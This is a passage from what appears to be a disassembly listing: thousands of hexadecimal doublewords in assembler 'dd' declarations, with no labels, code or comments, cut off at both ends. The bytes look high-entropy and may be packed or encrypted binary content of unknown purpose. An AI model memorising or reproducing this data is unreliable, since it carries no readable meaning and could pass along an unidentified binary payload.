2D7C02A0h, 0D0986381h, 0B8FC05Ah, 7A4AE33Ch, 64C7C91Dh dd 6CB6E787h, 0E4F12260h, 9CB81FF6h, 0B4080CFh, 9DAED592h dd 0C3C91501h, 0E51C5BDAh, 7CEA5080h, 84267891h, 0A9459E00h dd 2327EFD3h, 2DAD00FBh, 0F647467Dh, 580CF448h, 0D8AE5E4Eh dd 0F2D8004Bh, 17F375A5h, 4F00ADE9h, 0AB6277F8h, 0CC3396h dd 0DE2765C6h, 0BEF4DD08h, 71BAFE00h, 3F8F81C1h, 5A7A0033h dd 0F11912F5h, 3C0070A2h, 5544295Eh, 0DA256Dh, 0E2FC157Eh dd 0B6F1FB06h, 871E3E7Fh, 60000B11h, 0F96A94A7h, 14C7AC5h dd 78E16CB4h, 0D8ACAB92h, 0E37C99D5h, 50B0DE00h, 39B75DC8h dd 0A2BD00D7h, 67A02FCBh, 50073CFh, 0FB4B2782h, 90B699F3h dd 48E07Ch, 0FEB0E3DEh, 3E619FC2h, 28EBF600h, 0EEB6A9CEh dd 91CC0071h, 0D656169Ah, 8A008714h, 62BF077Eh, 21CA41h dd 36A4862Fh, 0D45A4246h, 4CC7BC00h, 0DA643FABh, 6558003Ch dd 82FECA9Eh, 0A0A8139Ch, 531FABA5h, 0D2D40BEAh, 95DF00B4h dd 0EB5F1850h, 85C7000Ah, 0D4082E8h, 97FC2164h, 0F3300807h dd 0AEA01AEFh, 48B0FD91h, 11007879h, 5BAD4A24h, 0D10C6DB5h dd 88839B69h, 0E560000Fh, 0F97C5978h, 0F8601576h, 0A46873E4h dd 0D4370F8Dh, 0BA066EEh, 0E7B69205h, 0CC324107h, 0A8B0F58Eh dd 961E0Dh, 1F3FBEDFh, 2FDA9348h, 51720700h, 0EB65ABC0h dd 413900CAh, 4B7081B8h, 4E00453Eh, 446766DFh, 778841Dh dd 72BA0112h, 3F0340A8h, 4005EC6h, 41A0E8AEh, 71CDBh, 47B4879Bh dd 6A90C71Bh, 2C03D4F2h, 4618A7Bh, 0E1ED9BF8h, 0FDC01E32h dd 811B0087h, 0B229F1C7h, 54C0B028h, 2D45FE2Ch, 0A8E0016Dh dd 0DBAC3CAh, 74E5ECD5h, 0E1299700h, 0A6FA981h, 5C720077h dd 5741F9B9h, 0BCEA7851h, 7A6CBA5Ch, 96CFB71Dh, 0D4080640h dd 393772h, 18E95C91h, 0BE3475A9h, 6D30520Ah, 0AD009445h dd 251238AFh, 9FE000CCh, 7881981Ch, 3E00AAFEh, 0F9A099F1h dd 1B16F6Ch, 0EB647CE0h, 0EB339CFDh, 6E50A8E0h, 360EE300h dd 55ADFECDh, 0B40705Bh, 0EE825CC3h, 0CB8FEF80h, 6607A735h dd 22F94590h, 0D55068D0h, 93860039h, 0BAA9F370h, 1407B697h dd 6D9DA107h, 0FA338290h, 491A07D1h, 0CB406A6Fh, 2CC2F00h dd 0ED2668D3h, 0B887997Bh, 258070D1h, 0E93D666h, 768FC52Bh dd 5873A966h, 0E020BC03h, 0B7847ADDh, 57C0F2B0h, 48F36082h dd 4D86E409h, 85ADB200h, 155980B1h, 0D539075Bh, 709C54C9h dd 777448BCh, 80B0A63Dh, 4A1E6383h, 1BA7A64h, 0E4991954h dd 0D4F62BA8h, 9206D1D5h, 366837D6h, 96E70B80h, 9580D228h dd 92B05BE9h, 0FB030B00h, 0AB60E440h, 0F15A0288h, 6F6765F8h dd 307FD6C1h, 1DE8A327h, 0BE8DF600h, 0A8B3ECB8h, 0B7B81Bh dd 45DD35F4h, 0CDD43BEDh, 0F2CF5100h, 0E3CC675Ch, 47990270h dd 0FA2B572Fh, 0AED894E3h, 0E0003728h, 88685BE6h, 9AD392h dd 0C84F2641h, 0BAD4353Bh, 0EA274200h, 72D61E86h, 0A87500EFh dd 9D55EBC9h, 8900D126h, 0A19ACE11h, 12AA88BDh, 0E31282h dd 546DF554h, 4F00DA5Dh, 951E2713h, 3B12653Ch, 1980142Dh dd 446B528Fh, 0F2005BB2h, 7F3409C3h, 652CFEh, 0ABECBC3Dh dd 1AF83184h, 0E9B89611h, 65122100h, 0CD01240Dh, 6A8A6900h dd 0A12F1371h dd 8223007Eh, 9CAA4106h, 2E002884h, 957C1E40h, 3E6AFh dd 312FA993h, 5BB97823h, 0CD491009h, 4F7401CEh, 0A03B144Bh dd 0E700B2F6h, 8885BE74h, 0FE5A071Bh, 27B95CE1h, 91CA0867h dd 200E56ECh, 93A0B898h, 81022176h, 9A7F767h, 0B08483CEh dd 804BE117h, 0E8A89820h, 9EB60333h, 3DBDD223h, 24E04100h dd 1E2CA326h, 0B90B1784h, 0A9F6098Eh, 3145B420h, 5F00D872h dd 4414CB59h, 7A495ECh, 52F30FAAh, 0EAF0B19Fh, 3ADC701Ch dd 39F0FC7Ch, 1C32400h, 0D3911B0Dh, 0E0CF60Eh, 0A22EF81Dh dd 6FF63820h, 1109C162h, 802922F7h, 0A01FF99Ch, 0E2F800D3h dd 5DE52409h, 5400B362h, 11A94B21h, 55222Bh, 0F101E33Dh dd 688329A8h, 0BC94803h, 0A8BB4519h, 17C5E6h, 0E8814C1Bh dd 55A38D09h, 44743703h, 0B0F4FF75h, 2B4BCC0h, 3E999B3h dd 0AD40648Fh, 925440CEh, 320091C0h, 85C13BDAh, 7D7AB5EDh dd 0B9C3002Ah, 880414B8h, 0A900C85Ch, 2D72A2B3h, 563305h dd 87F0C10Ch, 82920420h, 1DD5DD00h, 15B41922h, 0ED6E020Ah dd 43739197h, 28DA480h, 770049E2h, 0F1825818h, 2A78C988h dd 0C0E829h, 0B95B7505h, 0DD7D4AACh, 0F9FC7012h, 27AD000h dd 1D7B565Fh, 0C06411EAh, 896A82A4h, 1B300454h, 4016C8B4h dd 68134C3Ah, 0B9697609h, 62E2C00h, 9930DAD5h, 6C50C8F0h dd 73E0003Dh, 77983EBFh, 0A7007C4Ah, 43FFED67h, 4CD9EA61h dd 96134B62h, 4F740712h, 525D201Eh, 5C00E806h, 32AA3874h dd 46FAEE2h, 0A15F4B46h, 8D3CC094h, 3290C501h, 5C9210E2h dd 3A00F7FCh, 0F9F83893h, 0FD76B9Bh, 0EBA8EC41h, 0AFC084E0h dd 0CF0086B2h, 38753343h, 3F9A79C5h, 744CCAE4h, 9C63B01h dd 117A0EBh, 2612DBF8h, 4780B065h, 1C8CC112h, 59C0C0F7h dd 5517B2FAh, 31D430E7h, 58BB0920h, 39000056h, 0A0A5DD10h dd 1F16BC96h, 55007786h, 268E8CFDh, 0D009076Eh, 4E2E6854h dd 36553460h, 411F0877h, 0F100232Ch, 0D7339214h, 0A46C0F07h dd 0B8A5D58Ch, 0B3F080C5h, 0B0000E5Ch, 0A60D0B7Dh, 43F1EDAh dd 4B57B4FBh, 1B3480C3h, 0CC00F688h, 3113809Ch, 0F2DE15h dd 613E1CE7h, 97E159D4h, 560375F6h, 74457294h, 1A90DF0Fh dd 0AE95F9h, 0E167E4A9h, 6FC63DFDh, 816A0E00h, 0AB376DEBh dd 0FA725Fh, 62D4840h, 326EEF63h, 80890439h, 0CC55CDF7h dd 0E271CFh, 0A082965h, 0B153D3A3h, 6006190h, 5ADABC4Eh dd 0A0097F39h, 12D9DECh, 22C28DA7h, 242A9908h, 6A00B9A8h dd 2D7A02F2h, 0C2CED5h, 0F1EA0AA2h, 2FA5DC60h, 78207403h dd 0C043B5EBh, 1E152Dh, 40C8F8F4h, 314AC38h, 0D5ED6500h dd 28CCF193h, 5A9F8020h, 3B0043F2h, 0E7078494h, 70FD294Ah dd 12217A8Eh, 0F61E76h, 98F7C2Ch, 4A48187Fh, 9AE46020h dd 992E60Bh, 1E95649h, 8110820Ah, 239DB10Ah, 1502D2B9h dd 72247Eh, 0FD6AA575h, 9EF61CFFh, 286D8051h, 98260EFCh dd 3A84A5Ch, 67DFD27h, 0D98380B8h, 6EE2BCh, 0A82B2D16h dd 0E91B9951h, 0DDDA4E13h, 0E06078A1h, 41151DD4h, 5F160059h dd 1D76C201h, 0D13CFC00h, 73FE2F28h, 0FB0C264Fh, 9E2600h dd 8D890BCh, 0C348D62Ah, 5A9B141Fh, 0CD9707BCh, 431395E6h dd 606ED83Eh, 9D5D3BADh, 0E501285Ch, 838BAE93h, 0FAD641EDh dd 77D9CF78h, 5FDE846h, 6CD55604h, 0C0EF39BCh, 5811F5ECh dd 0A90088B0h, 24100CFAh, 6D8D5h, 98A159DBh, 9AB025CAh dd 0ACFE83A0h, 0CB5A5402h, 0E81EB95Ch, 1CDB3FECh, 976A4161h dd 33384765h, 5AD5D00Bh, 7400F055h, 0A53C0EDh, 2E786115h dd 1748B1ACh, 0CB100059h, 57EC877h, 0B039D112h, 0EF386AACh dd 1BC297h, 0E29FC73h, 0AF14D76Dh, 2F830EBh, 7CF03D2Eh dd 0FBF08019h, 2FF93Fh, 8F45F60Eh, 61CB6B9h, 2021106Eh dd 563622F4h, 38340039h, 3A3F7E09h, 4B00FE2Bh, 0CDCB48F7h dd 7DB2A965h, 0F364005Ch, 47E15D75h, 170EBDE2h, 0E0D21F79h dd 2296B3FFh, 0FB5F0040h, 6E92645Dh, 40EDC10h, 60BEB4CEh dd 81E12E70h, 0E5F20Ch, 0F98F7796h, 0F8D795B2h, 0C7F16900h dd 8615797Fh, 0A56009Eh, 9BE7496Dh, 0EE3CD909h, 0BD01B97Bh dd 43408060h, 58E325ACh, 0D6B539E8h, 2720685h, 0F83CD0D8h dd 0FC0FEEA8h, 44DA76F2h, 0CA818140h, 0D6200D46h, 3B800FDh dd 43B7DB32h, 2A0095DCh, 37732610h, 21997C1h, 23E9EBA6h dd 0D8E012F9h, 0F302EC53h, 0C55DF416h, 27E8C87Eh, 4A60BD52h dd 840007B7h, 4C6626C1h, 18D109Bh, 4AB85394h, 0EC925545h dd 8B01B3AFh, 0C1A8CEFFh, 85D49B6Ch, 9A280073h, 0F9E69531h dd 79F84076h, 0D49F1B12h, 8F0A700h, 2DDEC6h, 6BE1530h dd 0B0CB0755h, 0EE02B09Ah, 8D54386h, 0B68840D9h, 7140099h dd 494B5ACCh, 0EB75675Bh, 1D20E000h, 94C1D204h, 4010001Bh dd 0A72BBA1h, 43005177h, 1444A019h, 0ED26322Fh, 547C5D4h dd 20340D71h, 2808019Ah, 0E86B03A9h, 0FA095BC1h, 803CCA7Fh dd 12FBF384h, 0F7CCFB5Fh, 6A91C0EAh, 0B22C6358h, 0A6BBE015h dd 12688810h, 0E0E801B1h, 0CFA8C3DAh, 8BA4083Bh, 29C0E356h dd 0B2C4037Ch, 7543A866h, 0BF745Fh, 295D2FA2h, 0D23BDD97h dd 0F16FD400h, 3AFF20F9h, 14B34D7Ah, 1A676B07h, 0D609409Dh dd 0FC384912h, 5F3B017Bh, 81A02AB8h, 8930509Dh, 1E8C27E7h dd 0AC0CE8A1h, 7882DEDAh, 9120D832h, 0D026BF1h, 3334F299h dd 390C8329h, 0EFA820D4h, 0A33CD48h, 74276798h, 88C67A03h dd 0E87FDB41h, 14D4445h, 89510F6Ah, 0FC32545Eh, 6C01E735h dd 9EB9E5D8h, 5AF4EE55h, 40D9008Eh, 7ADB61C3h, 6C00A260h dd 0E6596986h, 30A3B8h, 80049EE1h, 0EBB06F8Fh, 933D06C0h dd 12BED78h, 0D4E4E641h, 0D83FDCFFh, 0E107ABD5h, 0F229285Dh dd 17C513E0h, 2B2A015Eh, 0E5DE616Ah, 0EB07CC25h, 872D18C5h dd 0E64B1481h, 7A9D9050h, 3959F092h, 2701A701h, 0D4E3EE66h dd 748850E6h, 9439B3F9h, 0F711604Bh, 0BAE2977h, 0C0C3CADAh dd 18BDBA8Eh, 9D1E21F3h, 6817A8A0h, 0E619D67Bh, 0B080E4EBh dd 3F4B470h, 0CE4DE5DFh, 1808DCDBh, 41322B28h, 3E8EB6Eh dd 7FD689E7h, 1697BC50h, 0B6E06Ch, 64077A28h, 63DFAA32h dd 0B821D963h, 0BBFC8094h, 646C003Ah, 0B120D9Bh, 98F4A07Dh dd 0DEC75F00h, 0FB82F8EEh, 77E67Ch, 6775D515h, 6A4ECB21h dd 7E1789E6h, 29002CC6h, 9B62B88Ah, 431E00A2h, 51C8615Ah dd 0D03F1CA5h, 266F8094h, 0D7DC4868h, 502E0049h, 0BC7B92AEh dd 3002958h, 0BDBF606Fh, 53F7751h, 6E37C4C0h, 0E525C1DEh dd 0F3FCFCEEh, 4ABA8F00h, 0C98962A0h, 0FBCD0090h, 72A136B8h dd 0B9076E29h, 6FA31496h, 4D084AC0h, 0ADE40027h, 6C0E1850h dd 5F582D25h, 5B0F181Ch, 9E6D30h, 9FD76413h, 377BEA5Ch dd 98BDF700h, 6AD6ED8Fh, 0D4E8C0h, 52C49670h, 0B9EAA36Eh dd 8C2ABE00h, 0ED3124B6h, 0B544009Ch, 0A172E7Fh, 0A80F383Bh dd 40D48F92h, 0FCA2ED37h, 58F56FABh, 7240F1A0h, 3903EC1Ch dd 0A1EF42BAh, 4441E093h, 1418C17Ah, 2BF20D9Fh, 697EA0h dd 73DE97A9h, 39CCF067h, 57842900h, 66EF987h, 0EBE70F18h dd 0D60DDC1h, 0E6795B28h, 0AFC81500h, 62376610h, 12320006h dd 98E53072h, 0BF24509Ch, 61003E17h, 4F33DDA1h, 0C6E17E7Ah dd 596BB050h, 531D9C7Eh, 54007CBBh, 0A3ED7DABh, 0DC763833h dd 511850h, 21CBCEDFh dd 0F21B5F01h, 50CD700Eh, 0C234036h, 0FA999DCh, 21B5267Ch dd 7E583800h, 0A4071827h, 0D7A19888h, 0F4436D3h, 0BE514738h dd 8A395840h, 0DD009314h, 0FD5EBDA9h, 1B2C3Dh, 2187318Eh dd 2285098Fh, 4613DA1Dh, 6881AA0Ch, 9DDC40EEh, 7EEA8E00h dd 16A43519h, 28910009h, 0AB264D34h, 64003959h, 333EC7B5h dd 35835Dh, 6E3CF2F9h, 4654A94Fh, 218008CCh, 0F9E486h dd 68DD4A93h, 87FD3C11h, 909BD71Ch, 850BE740h, 38A4CEh dd 0A38DAFF0h, 825E713Eh, 62E0164Ch, 0C0F85310h, 0CEB8B1Fh dd 64BAEAA7h, 21C01F08h, 34124078h, 7B3C000Ch, 306C1E69h dd 46F235F7h, 7A312AE8h, 8CA391C5h, 0F10361D2h, 821E1180h dd 677269F0h, 0BBC7C90Ch, 0C252086Fh, 0F06A7B21h, 0DCEA6561h dd 0A503FCD6h, 0C53AFD09h, 7D68CED5h, 0EC611E37h, 7D0020A9h dd 5681B06Ah, 1D2F663Fh, 184A88DEh, 82702179h, 36FCB107h dd 0FB87EC3Ah, 0B0223965h, 0F88F3066h, 0BE463CE2h, 88243822h dd 7A006937h, 934C7EF8h, 9EA0A05Fh, 0C35A2877h, 0D79001ACh dd 56EF3A6Fh, 8DB9C028h, 42AC9E00h, 6DA53CAEh, 0CD7207FCh dd 80048938h, 0AA0CC48Ch, 6908F300h, 0E0A8BD68h, 876D0E2Ch dd 2401DB3h, 0CA061FE4h, 63016A04h, 0FBC015E8h, 9B9E78h dd 83DF2665h, 4FB29CC7h, 2DB50100h, 0E18A7731h, 0BDA800CDh dd 0B6534423h, 88001E4Ch, 350261FFh, 33DAE95h, 0D7A96DB0h dd 7BC87F5Fh, 1900DEEAh, 216FD81Ah, 3E7977CFh, 70037609h dd 0FE7E92D0h, 0B42D97D8h, 173CDA00h, 24BFC904h, 0B9CF02Bh dd 0F4090713h, 0E826BD00h, 75F0AF4Eh, 9A4AEA00h, 0CB82E2Ch dd 0A06FB892h, 0B9FFAAh, 415A8DD9h, 0C27C75CBh, 0E4011B00h dd 0B61EC18h, 36C60040h, 0BC3BA733h, 0AC1C3078h, 9E002F03h dd 0BF87F116h, 4C323F96h, 0C8593481h, 0D4AD93EAh, 7A3C9FFDh dd 0CF680E8Fh, 23920069h, 0A303DC1Eh, 43AE580h, 0D3D8FE07h dd 0A992C034h, 740C4053h, 94A58C2Eh, 0A09C3C6Bh, 0C4328E0h dd 82114520h, 447E50DEh, 0A3449D9Ch, 4E0D448Fh, 84945644h dd 42D49022h, 55B9119Bh, 117B6811h, 0A721D1CBh, 902B7508h dd 0C761849Ch, 8942D348h, 21302432h, 9F12C5F4h, 892D1110h dd 44330824h, 8888EBBCh, 4DD800D7h, 0DB64B8C8h, 0D000FF90h dd 6D8C6025h, 0D157EDh, 0A62BDFB2h, 0B0E1E40Fh, 9ABC400h dd 0D6E9F26Bh, 0AECF00B1h, 299F8624h, 0B9F6A575h, 0DF82E106h dd 589E38h, 0BA36309Ch, 37CF4AD9h, 0D3F1D800h, 0D1DBEA09h dd 48A0074Fh, 0F061C6C3h, 2DE37806h, 3EC05400h, 4E5321B7h dd 254C0075h, 0B80A0540h, 0C603CC50h, 4756D6BDh, 0D39FC030h dd 999C00C0h, 0AA5BA22Eh, 0B8772021h, 134038DFh, 0FD19B38Ch dd 17FF1207h, 611441CFh, 0E4B2B443h, 0EF019192h, 47B46C8h dd 7AE8D883h, 251A0702h, 0F09F4EF6h, 350B45FEh, 0E5ED4800h dd 0F162AD0Ah, 0BB903967h, 822300FAh, 0C74C1D7Bh, 7048C87Eh dd 81280044h, 38933DB1h, 0A58000FAh, 6B1DC9C0h, 9C005D04h dd 2EAE9ECEh, 5840B5h, 4920D54Ah, 9BDA9D28h, 0D0EA0800h dd 307DEC4h, 237B000Eh, 1EDB815Dh, 2860784Fh, 2FE00438h dd 1FFD76C5h, 9F2E4EEAh, 0AFDA40B7h, 0C2064AC3h, 6A5E2014h dd 8B3E00F9h, 1A05B827h, 0C4820013h, 45F92B3Dh, 6600311Ch dd 236484FFh, 601AB79Eh, 5158E08Eh, 0AD076944h, 6DAF0238h dd 0B362C280h, 50DB0187h, 0B84B65E3h, 64B820D7h, 29AB9A00h dd 78988CA4h, 0C3A3004Ch, 0A2619C41h, 740043B9h, 0C222FBC5h dd 5FC052E3h, 0A79AB0ACh, 711D0600h, 0B0A1FADDh, 55AA0441h dd 80E88F01h, 0BCFB1E2Ch, 65959E0Fh, 0D9CC60FCh, 700494B2h dd 5EBE3D11h, 4605AF83h, 3DD6CCFh, 7B08A4E0h, 94B935A0h dd 0A65F8000h, 0EEC5CF2Eh, 436302E5h, 3AEB0F01h, 286EE481h dd 5E1020BAh, 0E4006092h, 86828EC5h, 0BB1A3Eh, 75C051F3h dd 0E247F641h, 4AA88500h, 0CBAD2107h, 930F3FE8h, 5C1C9B00h dd 7386FAA6h, 0DA235517h, 4D543A00h, 7E11E4F5h, 77CF8D6h dd 4CEFD4F4h, 0A00FC0BFh, 1400B68Fh, 0BCBA9A50h, 3A67088h dd 0B73CB5EEh, 0E1D880D3h, 8900D0A7h, 91A807F6h, 1D7E386Eh dd 80856FF0h, 0EF343DFAh, 0BA90053Ch, 0E71C46E4h, 2940FEF8h dd 379626E8h, 626F010Bh, 1D366172h, 0DBB9D8BCh, 4B8F704h dd 0F3C06EB1h, 14787250h, 0ECD519FCh, 0A0AF4000h, 0BCC0D08Ch dd 0D0205E4Ch, 0DAC980C8h, 3CBDAE27h, 0AD809C17h, 3DD2743Ch dd 0D00C119h, 0AA0B0E9Fh, 14C86E08h, 0ECE3EDDDh, 17F76A04h dd 0CF28A4h, 68418EF5h, 0B65F38F6h, 0F8147074h, 3AE9142h dd 6FE409EBh, 7D04903Fh, 6D1E1250h, 48A841FDh, 0E0D60A1Ah dd 0D000F811h, 9B8523DAh, 147DECh, 0E9F5A524h, 5A6A5C02h dd 0E5552005h, 0CBC7A068h, 24A6E0A0h, 3B17688h, 8B3DA87Ah dd 8000F543h, 2098DBBEh, 1F03F2A5h, 800EAFC9h, 6A5DE32Bh dd 0CA7D8954h, 428C1900h, 0E1663C4Ah, 84AD0049h, 32166D7Ah dd 4F6AEF0h, 6F503900h, 0B4012703h, 3FC1004Ch, 0F23019ACh dd 2000415h, 50A49F38h, 7A266Eh, 0A256451h, 0FEB34341h dd 38748400h, 853BCE2Fh, 0C2A03024h, 0A55FE0A0h, 0EFBCA901h dd 564A57D7h, 6E79C840h, 300C1F48h, 3FD505B0h, 0EB2CC032h dd 0DA0093F4h, 0AD0D917Eh, 90E527B4h, 0BF9A0084h, 282C2F56h dd 58B7F717h, 8D370011h, 0CAF613FFh, 2101F4E5h, 4CF1F9BBh dd 0C040C41Ch, 0F2693Eh, 996F415Fh, 0AF6405DAh, 4F714Ch dd 363EFE92h, 9A7CBA14h, 0A3270090h, 0D480F262h, 3E12D901h dd 6F013783h, 0FE2E4AE2h, 17AC5D4h, 500FB332h, 0CC947710h dd 6C3BC918h, 0F8E326A3h, 7B5F1100h, 0C1A157h, 77DE234Eh dd 0C96B0335h, 1128F31Eh, 0B3BE5BC0h, 0EC73844h, 3E1752F4h dd 1CA9801Fh, 1F149DFCh, 80954C39h, 0DEBBD512h, 988CB7E9h dd 4D88005Ah, 645221A6h, 0F49ABEF4h, 60ABBB00h, 0B2826C93h dd 58C901D8h, 3646CBC2h, 0E6C3D0E8h, 19E9D3Dh, 8EBB743Dh dd 0E830029Bh, 0DFE40284h, 0A22C11Ah, 10A18C87h, 0D995AED0h dd 0AA464E00h, 0BE565F6Fh, 0E7B00390h, 520487E1h, 0FC77C9C1h dd 3002616h, 2885EB55h, 0E5EF10h, 9A0DD02h, 4DF9A53Dh dd 0E8505071h, 0E09216E8h, 2F943300h, 0F0E6BEA3h, 222B009Dh dd 0A96EFB5Eh, 0B7002A2Eh, 4FCBFDE1h, 0EB1D062h, 254A31CEh dd 5F9C5DFDh, 159140EBh, 3D8CE7B3h, 0FAF38h, 0C16908BFh dd 0A31857h, 0E6FE8291h, 3983A0C8h, 875CEE01h, 2AF4290Ah dd 0A796F8D7h, 73707208h, 5FE40Fh, 0AC2930F0h, 4EE750C7h dd 2CFAE958h, 0B4163508h, 23433C02h, 0A82CC0AEh, 1E360044h dd 58BA27A9h, 300904Fh, 0DF53B26Ch, 0B3ABFAh, 49BCCEC0h dd 45F5E53Dh, 21313Bh, 2A0B9816h, 482CC4ECh, 0A33B0D25h dd 0EBB6D101h, 0E466B1AFh, 8B009150h, 93554A45h, 0ED62BB3h dd 16D146A0h, 103079C3h, 6980568Bh, 0E8004CD7h, 9E5B820Ch dd 4EA9511h, 0A83FC074h, 0D88488C2h, 1D5E073Fh, 0B2801970h dd 276011CFh, 0BAA007Ah, 0A39FBCC8h, 38001A1Fh, 5A087F10h dd 0D41629h, 4C49CF39h, 2EE55BB3h, 0EB19CA05h, 0A8C0D1A4h dd 18400564h, 5CBD34EDh, 0E03C4C25h, 0B3BF800Ah, 0DD4F1879h dd 1020987Eh, 752567B0h, 50272B32h, 61F7E0E0h, 0F664058Bh dd 771A89h, 9A9DCBC9h, 0D498EB01h, 5F533600h, 803DE727h dd 7F57008h, 519F5CDCh dd 0F2BB80E4h, 0D478370Bh, 191A5800h, 126FE3C7h, 0E7DE0066h dd 0A285E14Bh, 0B749E50Ah, 3BB87648h, 585C4000h, 97B150A1h dd 0F427002Eh, 1C5FA6EFh, 111D4495h, 7C80C9EAh, 0E5DBB1ACh dd 225924CEh, 9E00E42h, 62141720h, 0BF245E21h, 600A488h dd 60CC2A6Ah, 9B6E03A5h, 521CA366h, 70B7CEF8h, 7D1F5A00h dd 0D57E410Bh, 94A186Bh, 23C76499h, 0B0A0CAECh, 0AF584B0Bh dd 9AC81F80h, 9C3CBC80h, 1C16FDh, 151FB0B9h, 6FA47502h dd 0C3F3BCA0h, 991BBE00h, 9D13E1E5h, 81B000FBh, 61912026h dd 5D00F84Eh, 6D33992h, 9072AFBBh, 5EF107ACh, 8082A49Ah dd 0FAAE8C85h, 37232D00h, 3E36AB13h, 487A072Eh, 0A4A5510Fh dd 986D86C2h, 0B3339C05h, 1CC0A9D1h, 757B84BFh, 0E9C4018Bh dd 2DFB9879h, 7845608Dh, 80C9CB39h, 0CF082F74h, 0CACED9h dd 0BF0BE5E9h, 0C46BB435h, 0DFF70914h, 0FA4609F8h, 0FBE4489Bh dd 0D7C81F9Fh, 0EE124051h, 0D547D4Ch, 0A07E3607h, 7B20E569h dd 4E81A7Ah, 0F99773ACh, 9F848130h, 300DE1C5h, 3A00A578h dd 4581D83h, 77740CE7h, 71BA044Ah, 81A78EB7h, 24A33907h dd 5F00816Ch, 6780AE4Ah, 35CB20h, 0ACE4C813h, 96959B88h dd 0B49EC0F5h, 7F13306h, 388AB0h, 5923CD4Bh, 5450E027h dd 8839D60Ah, 140398CBh, 0D89A3B49h, 0A2DF40h, 3253510Bh dd 69F0170Ch, 55656E0Fh, 9A40BECCh, 0A71C9048h, 96B5003Eh dd 4D814476h, 0FE2811AAh, 732AE271h, 0EE1298B9h, 7CD832EBh dd 1F510171h, 8C6654DCh, 0F33BF4C8h, 62BD7E1Fh, 618ACBh dd 2C5B8720h, 0C8FE0B43h, 6CA06644h, 0B1DEE231h, 695C9001h dd 0B9DA9423h, 8069F547h, 0F13154D0h, 27C8007Dh, 0DA67A373h dd 665C5082h, 0C0510B4Dh, 0DC80988Ah, 46F3304Dh, 0FF03BB08h dd 65130B00h, 3330DE01h, 49A10055h, 0CD797F3Ah, 0D2006A62h dd 9C516147h, 1968C5Ch, 0CE787087h, 0F885E2ACh, 0FC24557Dh dd 0E60EE472h, 6843A3C4h, 0E95D06Ch, 2BBA00ADh, 84B29320h dd 0C000A921h, 78384655h, 1EDD9858h, 84A0F03Ah, 0AB0D2B2Fh dd 4A53E880h, 0B954099Ch, 0E400C284h, 83EFDE02h, 0BCB8B17Ah dd 79A09117h, 0D8124A00h, 0BA2FEFFh, 29AB7243h, 0CDB9FC80h dd 3C040588h, 10376C34h, 75E23C87h, 0E7A1E0BFh, 105090D1h dd 34D65Ah, 0ED618FBAh, 33927828h, 0AF18F952h, 20D2FEE9h dd 0B7006628h, 0B096C2A1h, 58E2708Eh, 6E0C2F5Dh, 377950FDh dd 2C0470B5h, 9FA0DBE9h, 11A9409Ch, 4E161F2Dh, 9319121Ch dd 4F6BC7C0h, 90E4186Fh, 0DE3E00AAh, 0DB4871BCh, 447EB273h dd 0D3023AE6h, 46638D0Bh, 60644078h, 744510E3h, 37A800F8h dd 9B65EDB8h, 2F2603C4h, 7DC5AF5Fh, 0F8044DD0h, 0FE913101h dd 0CDEF4446h, 324E6E4h, 0D125AAACh, 2F98757Eh, 1002C203h dd 0EB15D086h, 0BFA20001h, 38EA3D8h, 981F3A0Dh, 5EA0632Fh dd 3300DCE6h, 348D3C97h, 0F072D2C8h, 276213BEh, 0B4C4C07Eh dd 0E5003A2Ch, 0F3DD065Fh, 0B04F4266h, 9D3D2EFAh, 28971B79h dd 0BAACFCA0h, 0E1D3D202h, 6874C6CDh, 513418h, 0C4FA95DCh dd 413EDAD6h, 54FC352Eh, 0B0EAD10Ch, 13E00066h, 593928B3h dd 922C87A0h, 908074AFh, 84D79ED8h, 0FA80E008h, 2DB800C2h dd 50C94096h, 0E93EDD73h, 0E84B01C7h, 0ED21A383h, 108C070h dd 0E1BA5A4Eh, 20738515h, 70EC56BCh, 97F81E00h, 0F4C6D017h dd 0BD7C0080h, 57E74481h, 14F0EE69h, 7115D4Ch, 0F3B5C0C8h dd 6A535AE1h, 98015068h, 0B42C32F4h, 1393FF24h, 1ED3758Bh dd 0E41A04C0h, 0AEEE47E4h, 801DB03Ah, 5A2D97BAh, 6B5632h dd 0DD646D3Ch, 0BE415486h, 212CCDE6h, 0BA00E4F9h, 0F5CF3595h dd 8C895932h, 7C666502h, 5460CD78h, 5E00AE4Fh, 0C9BE4CE3h dd 76175CBFh, 0F2DE1607h, 65BA0743h, 60334174h, 0FDF6ECB5h dd 58416A26h, 0EC42EC0Ah, 5D483983h, 54C7946Ch, 0BC822095h dd 684402Dh, 0CF4F05Ah, 963A22CCh, 5E24E430h, 0A180945Bh dd 16CD8418h, 0EDF08873h, 0E3DD2600h, 1ADC8303h, 0E970E75Ah dd 524007Eh, 7CBC9CDBh, 3E006C46h, 9BED3A94h, 5D4EF37h dd 7AE7A644h, 45C44A39h, 0E4C42084h, 0BB8326B3h, 0ECD58194h dd 301D9F38h, 5E09826Ch, 319844Eh, 898DEBACh, 400B298h dd 0CA000CF9h, 11F87044h, 1C2383EDh, 4139E2h, 2555DE8Fh dd 0DC00D2BCh, 4F602743h, 4456FD7h, 91B466C1h, 0D0C4D77Dh dd 69A1EC04h, 3E5420E1h, 10615B2Ch, 0C8E7D053h, 31F700CAh dd 1855696Dh, 6800E9D9h, 0FE3A8EFDh, 2D788CFh, 8CF0D2F4h dd 0A4812F22h, 301E4F1Dh, 0D0A8E19Eh, 0D600C3F8h, 0A15590Ch dd 0A0134A7h, 20E7E242h, 930585DCh, 0D80A0C2h, 2A9EF30Eh dd 0C723240Fh, 0FBEE74C0h, 50B200CBh, 6810A124h, 7E0040C6h dd 0E2761442h, 486B2Fh, 91613771h, 7AADE73h, 0A0D8FC24h dd 43039A0Bh, 483C70F0h, 0DD89188Dh, 0B2CAF46Bh, 1A00D070h dd 0C19A86ACh, 3878ECh, 90D853F8h, 81648E3Ah, 5E400C9Ch dd 88DF66h, 0F950E57Eh, 0FAD5DC0h, 308D44Ch, 28A41882h dd 78CFD16Ah, 16D696E8h, 9D7566h, 0FDF24020h, 4700200Dh dd 0FA214127h, 0A1018Dh, 6D50FF6h, 700562C5h, 963E6300h dd 0B33C3D4Dh, 0C592630h, 0E2C10000h, 62AF7340h, 0EED9811Dh dd 7C0AA60Fh, 87084900h, 0B68863h, 36343F25h, 0A0EB9058h dd 0E001B73h, 0C95DE452h, 0B0DED148h, 90C30010h, 0C204C030h dd 28020791h, 0AD46E503h, 0E1FF429Ch, 68F43838h, 28F504BEh dd 0E07FF6B4h, 0FD009004h, 0C1C7D3FEh, 0FC1BE081h, 74543BFFh dd 195AF302h, 4050229Bh, 120C65Ch, 0E6DACF75h, 44200295h dd 0AE0F2052h, 31936000h, 